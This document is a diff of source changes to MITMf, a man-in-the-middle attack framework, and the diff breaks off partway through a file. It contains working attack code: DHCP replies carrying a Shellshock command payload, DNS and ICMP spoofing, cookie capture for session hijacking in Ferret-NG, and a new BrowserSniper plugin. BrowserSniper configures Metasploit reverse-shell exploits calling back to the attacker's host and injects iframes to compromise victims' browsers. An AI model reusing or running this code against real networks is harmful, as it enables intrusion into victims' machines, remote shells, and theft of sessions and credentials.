packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "ack"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', self.ip_address),
|
||||
('name_server', self.ip_address),
|
||||
('dns_server', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240)]))
|
||||
|
||||
if self.shellshock:
|
||||
log.info("Sending DHCP ACK with shellshock payload")
|
||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||
packet[DHCP].options.append("end")
|
||||
else:
|
||||
log.info("Sending DHCP ACK")
|
||||
packet[DHCP].options.append("end")
|
||||
|
||||
self.s2.send(packet)
|
||||
|
|
|
@ -18,26 +18,22 @@
|
|||
|
||||
import logging
|
||||
import threading
|
||||
import binascii
|
||||
import random
|
||||
|
||||
from base64 import b64decode
|
||||
from urllib import unquote
|
||||
from time import sleep
|
||||
from core.logger import logger
|
||||
from scapy.all import *
|
||||
from scapy.all import IP, ICMP, UDP, sendp
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ICMPpoisoner", formatter)
|
||||
|
||||
class ICMPpoisoner():
|
||||
|
||||
def __init__(self, interface, target, gateway, ip_address):
|
||||
def __init__(self, options):
|
||||
|
||||
self.target = target
|
||||
self.gateway = gateway
|
||||
self.interface = interface
|
||||
self.ip_address = ip_address
|
||||
self.target = options.target
|
||||
self.gateway = options.gateway
|
||||
self.interface = options.interface
|
||||
self.ip_address = options.ip
|
||||
self.debug = False
|
||||
self.send = True
|
||||
self.icmp_interval = 2
|
||||
|
|
|
@ -52,6 +52,7 @@ class ProxyPlugins:
|
|||
|
||||
plugin_mthds = {}
|
||||
plugin_list = []
|
||||
all_plugins = []
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
|
|
|
@ -47,7 +47,7 @@ from core.logger import logger
|
|||
from mitmflib.dnslib import *
|
||||
from IPy import IP
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("DNSChef", formatter)
|
||||
|
||||
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
|
||||
|
@ -300,6 +300,8 @@ class DNSHandler():
|
|||
|
||||
# Obtain a response from a real DNS server.
|
||||
def proxyrequest(self, request, host, port="53", protocol="udp"):
|
||||
clientip = {'clientip': self.client_address[0]}
|
||||
|
||||
reply = None
|
||||
try:
|
||||
if DNSChef().ipv6:
|
||||
|
@ -337,12 +339,13 @@ class DNSHandler():
|
|||
|
||||
sock.close()
|
||||
|
||||
except Exception, e:
|
||||
except Exception as e:
|
||||
log.warning("Could not proxy request: {}".format(e), extra=clientip)
|
||||
else:
|
||||
return reply
|
||||
|
||||
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
|
||||
clientip = {'clientip': self.client_address[0]}
|
||||
|
||||
log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
|
||||
|
||||
|
@ -477,7 +480,7 @@ class DNSChef(ConfigWatcher):
|
|||
self.startUDP()
|
||||
except socket.error as e:
|
||||
if "Address already in use" in e:
|
||||
shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
|
||||
shutdown("\n[DNS] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
|
||||
|
||||
# Initialize and start the DNS Server
|
||||
def startUDP(self):
|
||||
|
|
|
@ -17,13 +17,16 @@
|
|||
#
|
||||
import logging
|
||||
import threading
|
||||
import sys
|
||||
|
||||
from core.utils import shutdown
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from flask import Flask
|
||||
|
||||
class HTTPserver(ConfigWatcher):
|
||||
|
||||
server = Flask("HTTPserver")
|
||||
func_list = []
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
|
@ -31,6 +34,16 @@ class HTTPserver(ConfigWatcher):
|
|||
self.__dict__ = self.__shared_state
|
||||
|
||||
def start_flask(self):
|
||||
|
||||
@self.server.route('/', defaults={'path': '/'})
|
||||
@self.server.route('/<path:path>')
|
||||
def catch_all(path):
|
||||
for func in self.func_list:
|
||||
resp = func(path)
|
||||
if resp:
|
||||
return resp
|
||||
return path
|
||||
|
||||
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
|
||||
|
||||
def start(self):
|
||||
|
@ -39,6 +52,9 @@ class HTTPserver(ConfigWatcher):
|
|||
server_thread.setDaemon(True)
|
||||
server_thread.start()
|
||||
|
||||
def add_endpoint(self, function):
|
||||
self.func_list.append(function)
|
||||
|
||||
def setup_http_logger(self):
|
||||
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
flask_logger = logging.getLogger('werkzeug')
|
||||
|
|
24
core/servers/smb/KarmaSMB.py
Normal file → Executable file
24
core/servers/smb/KarmaSMB.py
Normal file → Executable file
|
@ -49,14 +49,16 @@
|
|||
# hosting. *CAREFUL!!!*
|
||||
#
|
||||
|
||||
|
||||
import sys
|
||||
import os
|
||||
import argparse
|
||||
import logging
|
||||
import ntpath
|
||||
import ConfigParser
|
||||
from threading import Thread
|
||||
|
||||
from mitmflib.impacket import LOG as logger
|
||||
from mitmflib.impacket.examples import logger
|
||||
from mitmflib.impacket import smbserver, smb, version
|
||||
import mitmflib.impacket.smb3structs as smb2
|
||||
from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
|
||||
|
@ -65,8 +67,10 @@ from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCC
|
|||
from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
|
||||
getFileTime, queryPathInformation
|
||||
|
||||
class KarmaSMBServer():
|
||||
|
||||
class KarmaSMBServer(Thread):
|
||||
def __init__(self, smb_challenge, smb_port, smb2Support = False):
|
||||
Thread.__init__(self)
|
||||
self.server = 0
|
||||
self.defaultFile = None
|
||||
self.extensions = {}
|
||||
|
@ -105,7 +109,7 @@ class KarmaSMBServer():
|
|||
if smb2Support:
|
||||
smbConfig.set("global", "SMB2Support", "True")
|
||||
|
||||
self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig)
|
||||
self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser = smbConfig)
|
||||
self.server.processConfigFile()
|
||||
|
||||
# Unregistering some dangerous and unwanted commands
|
||||
|
@ -144,7 +148,6 @@ class KarmaSMBServer():
|
|||
respSetup = ''
|
||||
respParameters = ''
|
||||
respData = ''
|
||||
errorCode = STATUS_SUCCESS
|
||||
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
|
||||
|
||||
# 1. Let's grab the extension and map the file's contents we will deliver
|
||||
|
@ -159,11 +162,6 @@ class KarmaSMBServer():
|
|||
else:
|
||||
targetFile = self.defaultFile
|
||||
|
||||
if (len(data) > 0):
|
||||
findFirst2Data = smb.SMBFindFirst2_Data(data)
|
||||
else:
|
||||
findFirst2Data = ''
|
||||
|
||||
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
|
||||
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
|
||||
|
||||
|
@ -282,9 +280,7 @@ class KarmaSMBServer():
|
|||
errorCode = 0
|
||||
|
||||
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
|
||||
if len(data) > 0:
|
||||
queryPathInfoData = smb.SMBQueryPathInformation_Data(data)
|
||||
|
||||
|
||||
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
|
||||
path = ''
|
||||
try:
|
||||
|
@ -327,7 +323,7 @@ class KarmaSMBServer():
|
|||
connData = smbServer.getConnectionData(connId)
|
||||
# We're closing the connection trying to flush the client's
|
||||
# cache.
|
||||
if connData['MS15011']['StopConnection'] == True:
|
||||
if connData['MS15011']['StopConnection'] is True:
|
||||
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
|
||||
return self.origsmb2Close(connId, smbServer, recvPacket)
|
||||
|
||||
|
@ -391,7 +387,7 @@ class KarmaSMBServer():
|
|||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respSMBCommand = smb2.SMB2QueryDirectory_Response()
|
||||
queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
|
||||
#queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
|
||||
|
||||
errorCode = 0xff
|
||||
respSMBCommand['Buffer'] = '\x00'
|
||||
|
|
|
@ -25,7 +25,7 @@ class SMBserver(ConfigWatcher):
|
|||
try:
|
||||
if self.mode == 'normal':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.conf_impacket_logger(formatter)
|
||||
|
||||
server = smbserver.SimpleSMBServer(listenPort=self.port)
|
||||
|
@ -62,8 +62,6 @@ class SMBserver(ConfigWatcher):
|
|||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
logging.getLogger('smbserver').setLevel(logging.INFO)
|
||||
logging.getLogger('impacket').setLevel(logging.INFO)
|
||||
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
|
|
|
@ -160,11 +160,8 @@ class ClientRequest(Request):
|
|||
log.debug("Sending spoofed favicon response")
|
||||
self.sendSpoofedFaviconResponse()
|
||||
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
|
||||
log.debug("Sending request via SSL ({})".format((client,url)))
|
||||
elif self.urlMonitor.isSecureLink(client, url):
|
||||
log.debug("Sending request via SSL/TLS: {}".format(url))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||
|
||||
else:
|
||||
|
|
|
@ -104,8 +104,6 @@ class ServerConnection(HTTPClient):
|
|||
def connectionMade(self):
|
||||
log.debug("HTTP connection made.")
|
||||
|
||||
self.clientInfo["clientip"] = self.client.getClientIP()
|
||||
|
||||
try:
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
|
||||
|
@ -120,6 +118,8 @@ class ServerConnection(HTTPClient):
|
|||
self.clientInfo["browser"] = "Other"
|
||||
self.clientInfo["browserv"] = "Other"
|
||||
|
||||
self.clientInfo["clientip"] = self.client.getClientIP()
|
||||
|
||||
self.plugins.hook()
|
||||
self.sendRequest()
|
||||
self.sendHeaders()
|
||||
|
@ -206,8 +206,8 @@ class ServerConnection(HTTPClient):
|
|||
data = self.replaceSecureLinks(data)
|
||||
data = self.plugins.hook()['data']
|
||||
|
||||
log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
|
||||
#log.debug("Read from server {} bytes of data".format(len(data)))
|
||||
#log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
|
||||
log.debug("Read from server {} bytes of data".format(len(data)))
|
||||
|
||||
if (self.contentLength != None):
|
||||
self.client.setHeader('Content-Length', len(data))
|
||||
|
|
|
@ -20,6 +20,8 @@ import os
|
|||
import logging
|
||||
import re
|
||||
import sys
|
||||
|
||||
from commands import getstatusoutput
|
||||
from core.logger import logger
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from scapy.all import get_if_addr, get_if_hwaddr
|
||||
|
@ -33,10 +35,15 @@ def shutdown(message=None):
|
|||
sys.exit(message)
|
||||
|
||||
def set_ip_forwarding(value):
|
||||
log.debug("Setting ip forwarding to {}".format(value))
|
||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||
file.write(str(value))
|
||||
file.close()
|
||||
status, result = getstatusoutput('sysctl --help')
|
||||
if status == 0:
|
||||
log.debug("Setting ip forwarding to {} using sysctl".format(value))
|
||||
os.system('sysctl -w net.ipv4.ip_forward={} &> /dev/null'.format(value)) #for OSX
|
||||
else:
|
||||
log.debug("Setting ip forwarding to {}".format(value))
|
||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||
file.write(str(value))
|
||||
file.close()
|
||||
|
||||
def get_ip(interface):
|
||||
try:
|
||||
|
@ -52,7 +59,7 @@ def get_mac(interface):
|
|||
try:
|
||||
mac_address = get_if_hwaddr(interface)
|
||||
return mac_address
|
||||
except Exception, e:
|
||||
except Exception as e:
|
||||
shutdown("Error retrieving MAC address from {}: {}".format(interface, e))
|
||||
|
||||
class iptables:
|
||||
|
|
16
mitmf.py
16
mitmf.py
|
@ -21,7 +21,9 @@
|
|||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
|
||||
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
|
||||
logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
|
||||
logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO)
|
||||
logging.getLogger('mitmflib.impacket').setLevel(logging.INFO)
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
@ -88,6 +90,8 @@ strippingFactory.protocol = StrippingProxy
|
|||
|
||||
reactor.listenTCP(options.listen_port, strippingFactory)
|
||||
|
||||
ProxyPlugins().all_plugins = plugins
|
||||
|
||||
#All our options should be loaded now, start initializing the plugins
|
||||
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
|
||||
for plugin in plugins:
|
||||
|
@ -102,6 +106,7 @@ for plugin in plugins:
|
|||
for line in xrange(0, len(plugin.tree_info)):
|
||||
print "| |_ {}".format(plugin.tree_info.pop())
|
||||
|
||||
plugin.setup_logger()
|
||||
plugin.initialize(options)
|
||||
|
||||
if plugin.tree_info:
|
||||
|
@ -109,16 +114,21 @@ for plugin in plugins:
|
|||
print "| |_ {}".format(plugin.tree_info.pop())
|
||||
|
||||
plugin.reactor(strippingFactory)
|
||||
plugin.setup_logger()
|
||||
plugin.start_config_watch()
|
||||
|
||||
print "|"
|
||||
print "|_ Sergio-Proxy v0.2.1 online"
|
||||
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
|
||||
print "|"
|
||||
|
||||
#Start mitmf-api
|
||||
from core.mitmfapi import mitmfapi
|
||||
print "|_ MITMf-API online"
|
||||
mitmfapi().start()
|
||||
|
||||
#Start Net-Creds
|
||||
from core.netcreds.NetCreds import NetCreds
|
||||
NetCreds().start(options.interface)
|
||||
NetCreds().start(options.interface, options.ip)
|
||||
print "|_ Net-Creds v{} online".format(NetCreds.version)
|
||||
|
||||
#Start the HTTP Server
|
||||
|
|
|
@ -55,7 +55,7 @@ class AppCachePlugin(Plugin):
|
|||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
|
||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||
|
|
|
@ -38,6 +38,7 @@ class BrowserProfiler(Inject, Plugin):
|
|||
if (request.command == 'POST') and ('clientprfl' in request.uri):
|
||||
request.handle_post_output = True
|
||||
self.output = json.loads(request.postData)
|
||||
self.output['ip'] = request.client.getClientIP()
|
||||
pretty_output = pformat(self.output)
|
||||
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)
|
||||
|
||||
|
|
179
plugins/browsersniper.py
Normal file
179
plugins/browsersniper.py
Normal file
|
@ -0,0 +1,179 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import string
|
||||
import random
|
||||
import threading
|
||||
from time import sleep
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.browserprofiler import BrowserProfiler
|
||||
|
||||
class BrowserSniper(BrowserProfiler, Plugin):
|
||||
name = "BrowserSniper"
|
||||
optname = "browsersniper"
|
||||
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
|
||||
version = "0.4"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.msfip = options.ip
|
||||
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
|
||||
|
||||
#Initialize the BrowserProfiler plugin
|
||||
BrowserProfiler.initialize(self, options)
|
||||
|
||||
from core.msfrpc import Msf
|
||||
self.msf = Msf()
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
|
||||
|
||||
t = threading.Thread(name='sniper', target=self.snipe)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def _setupExploit(self, exploit, msfport):
|
||||
|
||||
self.log.debug('Setting up {}'.format(exploit))
|
||||
rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
|
||||
rand_port = random.randint(1000, 65535)
|
||||
|
||||
#generate the command string to send to the virtual console
|
||||
cmd = "use exploit/{}\n".format(exploit)
|
||||
cmd += "set SRVPORT {}\n".format(msfport)
|
||||
cmd += "set URIPATH {}\n".format(rand_url)
|
||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
|
||||
cmd += "set LHOST {}\n".format(self.msfip)
|
||||
cmd += "set LPORT {}\n".format(rand_port)
|
||||
cmd += "set ExitOnSession False\n"
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
self.msf.sendcommand(cmd)
|
||||
|
||||
return rand_url
|
||||
|
||||
def _compat_system(self, os_config, brw_config, os, browser):
|
||||
|
||||
if (os_config == 'any') and (brw_config == 'any'):
|
||||
return True
|
||||
|
||||
if (os_config == 'any') and (brw_config in browser):
|
||||
return True
|
||||
|
||||
if (os_config in os) and (brw_config == 'any'):
|
||||
return True
|
||||
|
||||
if (os_config in os) and (brw_config in browser):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def getExploits(self):
|
||||
exploits = []
|
||||
vic_ip = self.output['ip']
|
||||
os = self.output['ua_name']
|
||||
browser = self.output['os_name']
|
||||
java = None
|
||||
flash = None
|
||||
|
||||
if self.output['java'] is not None:
|
||||
java = self.output['java']
|
||||
|
||||
if self.output['flash'] is not None:
|
||||
flash = self.output['flash']
|
||||
|
||||
self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash))
|
||||
|
||||
for exploit, details in self.config['BrowserSniper']['exploits'].iteritems():
|
||||
|
||||
if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()):
|
||||
|
||||
if details['Type'].lower() == 'browservuln':
|
||||
exploits.append(exploit)
|
||||
|
||||
elif details['Type'].lower() == 'pluginvuln':
|
||||
|
||||
if details['Plugin'].lower() == 'java':
|
||||
if (java is not None) and (java in details['PluginVersions']):
|
||||
exploits.append(exploit)
|
||||
|
||||
elif details['Plugin'].lower() == 'flash':
|
||||
|
||||
if (flash is not None) and (flash in details['PluginVersions']):
|
||||
exploits.append(exploit)
|
||||
|
||||
self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits))
|
||||
return exploits
|
||||
|
||||
def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||
|
||||
#inject iframe
|
||||
self.log.info("{} => Now injecting iframe to trigger exploits".format(ip))
|
||||
self.html_url = url
|
||||
|
||||
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
|
||||
#Will also make sure the shell actually came from the box that we targeted
|
||||
self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip))
|
||||
|
||||
poll_n = 1
|
||||
while poll_n != 30:
|
||||
|
||||
if self.msf.sessionsfrompeer(ip):
|
||||
self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip))
|
||||
self.sploited_ips.append(ip)
|
||||
self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped
|
||||
self.html_url = None
|
||||
return
|
||||
|
||||
poll_n += 1
|
||||
sleep(2)
|
||||
|
||||
self.log.info("{} => Session not established after 60 seconds".format(ip))
|
||||
self.html_url = None
|
||||
|
||||
def snipe(self):
|
||||
while True:
|
||||
if self.output:
|
||||
vic_ip = self.output['ip']
|
||||
|
||||
if vic_ip not in self.sploited_ips:
|
||||
msfport = self.config['BrowserSniper']['msfport']
|
||||
exploits = self.getExploits()
|
||||
|
||||
if not exploits:
|
||||
self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
|
||||
self.sploited_ips.append(vic_ip)
|
||||
self.black_ips = self.sploited_ips
|
||||
|
||||
elif exploits and (vic_ip not in self.sploited_ips):
|
||||
self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
|
||||
|
||||
for exploit in exploits:
|
||||
|
||||
jobs = self.msf.findjobs(exploit)
|
||||
if jobs:
|
||||
self.log.info('{} => {} already started'.format(vic_ip, exploit))
|
||||
url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit
|
||||
else:
|
||||
url = self._setupExploit(exploit, msfport)
|
||||
|
||||
iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url)
|
||||
self.injectAndPoll(vic_ip, iframe_url)
|
||||
|
||||
sleep(1)
|
|
@ -26,75 +26,75 @@ from twisted.web import http
|
|||
from twisted.internet import reactor
|
||||
|
||||
class FerretNG(Plugin):
|
||||
name = "Ferret-NG"
|
||||
optname = "ferretng"
|
||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
name = "Ferret-NG"
|
||||
optname = "ferretng"
|
||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ferret_port = options.ferret_port
|
||||
self.cookie_file = None
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ferret_port = options.ferret_port
|
||||
self.cookie_file = None
|
||||
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
from core.utils import shutdown
|
||||
if options.cookie_file:
|
||||
self.tree_info.append('Loading cookies from log file')
|
||||
try:
|
||||
with open(options.cookie_file, 'r') as cookie_file:
|
||||
self.cookie_file = json.dumps(cookie_file.read())
|
||||
URLMonitor.getInstance().cookies = self.cookie_file
|
||||
cookie_file.close()
|
||||
except Exception as e:
|
||||
shutdown("[-] Error loading cookie log file: {}".format(e))
|
||||
from core.utils import shutdown
|
||||
if options.cookie_file:
|
||||
self.tree_info.append('Loading cookies from log file')
|
||||
try:
|
||||
with open(options.cookie_file, 'r') as cookie_file:
|
||||
self.cookie_file = json.dumps(cookie_file.read())
|
||||
URLMonitor.getInstance().cookies = self.cookie_file
|
||||
cookie_file.close()
|
||||
except Exception as e:
|
||||
shutdown("[-] Error loading cookie log file: {}".format(e))
|
||||
|
||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||
|
||||
def on_config_change(self):
|
||||
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
def on_config_change(self):
|
||||
self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
def request(self, request):
|
||||
if 'cookie' in request.headers:
|
||||
host = request.headers['host']
|
||||
cookie = request.headers['cookie']
|
||||
client = request.client.getClientIP()
|
||||
def request(self, request):
|
||||
if 'cookie' in request.headers:
|
||||
host = request.headers['host']
|
||||
cookie = request.headers['cookie']
|
||||
client = request.client.getClientIP()
|
||||
|
||||
if client not in URLMonitor.getInstance().cookies:
|
||||
URLMonitor.getInstance().cookies[client] = []
|
||||
if client not in URLMonitor.getInstance().cookies:
|
||||
URLMonitor.getInstance().cookies[client] = []
|
||||
|
||||
for entry in URLMonitor.getInstance().cookies[client]:
|
||||
if host == entry['host']:
|
||||
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
|
||||
entry['host'] = host
|
||||
entry['cookie'] = cookie
|
||||
return
|
||||
for entry in URLMonitor.getInstance().cookies[client]:
|
||||
if host == entry['host']:
|
||||
self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
|
||||
entry['host'] = host
|
||||
entry['cookie'] = cookie
|
||||
return
|
||||
|
||||
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
|
||||
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||
self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
|
||||
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||
|
||||
def reactor(self, StrippingProxy):
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
FerretFactory.protocol = FerretProxy
|
||||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||
def reactor(self, StrippingProxy):
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
FerretFactory.protocol = FerretProxy
|
||||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
|
||||
def options(self, options):
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
|
||||
|
||||
def on_shutdown(self):
|
||||
if not URLMonitor.getInstance().cookies:
|
||||
return
|
||||
def on_shutdown(self):
|
||||
if not URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
if self.cookie_file == URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
self.log.info("Writing cookies to log file")
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
|
||||
cookie_file.write(str(URLMonitor.getInstance().cookies))
|
||||
cookie_file.close()
|
||||
if self.cookie_file == URLMonitor.getInstance().cookies:
|
||||
return
|
||||
|
||||
self.log.info("Writing cookies to log file")
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
|
||||
cookie_file.write(str(URLMonitor.getInstance().cookies))
|
||||
cookie_file.close()
|
||||
|
|
|
@ -111,21 +111,17 @@ class FilePwn(Plugin):
|
|||
|
||||
#NOT USED NOW
|
||||
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
||||
|
||||
|
||||
#FilePwn options
|
||||
self.userConfig = self.config['FilePwn']
|
||||
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
||||
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
||||
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
|
||||
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
|
||||
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
|
||||
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
|
||||
